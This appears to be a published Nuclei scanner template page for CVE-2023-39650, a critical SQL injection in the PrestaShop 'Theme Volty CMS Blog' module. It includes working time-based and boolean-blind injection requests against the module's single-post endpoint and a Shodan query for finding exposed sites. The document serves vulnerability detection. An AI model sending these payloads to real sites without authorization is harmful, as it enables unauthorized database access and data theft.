PrestaShop Theme Volty CMS Blog - SQL Injection

ID: CVE-2023-39650

Severity: critical

Author: mastercho

Tags: time-based-sqli,cve,cve2023,prestashop,sqli,tvcmsblog

Description

In the module ‘Theme Volty CMS Blog’ (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.

YAML Source

id: CVE-2023-39650

info:
  name: PrestaShop Theme Volty CMS Blog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the module 'Theme Volty CMS Blog' (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39650
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39650
    cwe-id: CWE-89
    epss-score: 0.04685
    epss-percentile: 0.91818
  metadata:
    max-request: 4
    verified: true
    framework: prestashop
    shodan-query: html:"/tvcmsblog"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,tvcmsblog

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(response), "prestashop", "tvcmsblog")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+(SELECT+7826+FROM+(SELECT(SLEEP(10)))oqFL)--+yxoW HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        @timeout: 20s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5484--+xhCs HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        @timeout: 20s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5485--+xhCs HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    host-redirects: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_1>=10'
          - 'status_code_1 == 200 && contains(body_1, "tvcmsblog")'
        condition: and

      - type: dsl
        name: blind-based
        dsl:
          - 'status_code_2 == 200 && contains(body_2, "tvcmsblog")'
          - 'status_code_2 == 200 && status_code_3 == 302'
        condition: and
# digest: 4a0a00473045022100bc77296e6e56803316cdbfff909759f1d79ad2d463f69a76dee3b32d24b4a85c022038ab1646e61103f77308419df5ae7abf52f8b3f65f5b0aa1265dbcfd031c8e42:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39650.yaml"

View on Github